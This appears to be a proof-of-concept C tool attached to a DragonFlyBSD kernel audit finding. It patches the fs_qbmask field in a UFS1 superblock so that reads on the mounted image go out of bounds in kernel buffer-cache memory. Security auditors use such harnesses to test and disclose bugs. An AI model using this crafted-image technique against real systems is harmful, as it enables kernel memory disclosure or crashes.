⬢ DragonFlyBSD Kernel Audit
DF-3212 / craft_img.c
← back to finding ↓ download raw
/*
 * craft_img.c - DF-3212 superblock fs_qbmask patcher (read-side OOB harness).
 *
 * Same mechanic as the DF-0903 pack: binary-patch fs_qbmask (int64 LE,
 * file offset SBOFF(8192) + 1336 = 9528) in a cleanly-unmounted UFS1 image
 * produced by `newfs -b 8192 -f 1024`.  Normal qbmask for bsize 8192 is
 * 0x1FFF; we patch 0x7FFFF so blkoff(fs, off) = off & 0x7FFFF can reach
 * 0x7FFFE, i.e. up to 7 MAXBSIZE (64KB) buffer-cache KVA slots past the
 * 8192-byte buffer that ffs_blkatoff_ra() returns.
 *
 * Field offsets verified via offsets.c on this guest (struct fs, sizeof=1384):
 *   fs_bsize=48  fs_bmask=72  fs_bshift=80  fs_inodefmt=1324
 *   fs_qbmask=1336  fs_qfmask=1344  fs_postblformat=1356  fs_magic=1372
 *
 * Build: cc -O -o craft_img craft_img.c
 * Usage: craft_img <base.img> <out.img> <qbmask_hex>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>

#define SBOFF 8192
#define OFF_FS_BSIZE     48
#define OFF_FS_BMASK     72
#define OFF_FS_INODEFMT 1324
#define OFF_FS_QBMASK  1336	/* int64, 8 bytes */
#define OFF_FS_MAGIC   1372

static int32_t rd_i32(const unsigned char *p){
	return (int32_t)(p[0] | (p[1]<<8) | (p[2]<<16) | ((uint32_t)p[3]<<24));
}
static int64_t rd_i64(const unsigned char *p){
	uint64_t v = 0;
	for (int i = 0; i < 8; i++) v |= (uint64_t)p[i] << (8*i);
	return (int64_t)v;
}
static void wr_i64(unsigned char *p, int64_t v){
	uint64_t u = (uint64_t)v;
	for (int i = 0; i < 8; i++) p[i] = (unsigned char)((u >> (8*i)) & 0xff);
}

int main(int argc, char **argv){
	if (argc < 4) {
		fprintf(stderr, "usage: %s base.img out.img qbmask_hex\n", argv[0]);
		return 2;
	}
	const char *base = argv[1];
	const char *out  = argv[2];
	int64_t qbmask = (int64_t)strtoll(argv[3], NULL, 0);

	FILE *f = fopen(base, "rb");
	if (!f) { perror("open base"); return 2; }
	fseek(f, 0, SEEK_END);
	long sz = ftell(f);
	fseek(f, 0, SEEK_SET);
	unsigned char *buf = malloc(sz);
	if (!buf) { perror("malloc"); return 2; }
	if ((long)fread(buf, 1, sz, f) != sz) { perror("read"); return 2; }
	fclose(f);

	unsigned char *sb = buf + SBOFF;
	if (rd_i32(sb + OFF_FS_MAGIC) != 0x011954) {
		fprintf(stderr, "bad magic at SBOFF\n");
		return 2;
	}
	printf("base: fs_bsize=%d fs_bmask=0x%x fs_inodefmt=%d fs_qbmask=0x%llx\n",
	       rd_i32(sb + OFF_FS_BSIZE), rd_i32(sb + OFF_FS_BMASK),
	       rd_i32(sb + OFF_FS_INODEFMT),
	       (unsigned long long)rd_i64(sb + OFF_FS_QBMASK));
	wr_i64(sb + OFF_FS_QBMASK, qbmask);
	printf("patched: fs_qbmask=0x%llx\n", (unsigned long long)qbmask);

	FILE *g = fopen(out, "wb");
	if (!g) { perror("open out"); return 2; }
	if ((long)fwrite(buf, 1, sz, g) != sz) { perror("write"); return 2; }
	fclose(g);
	free(buf);
	return 0;
}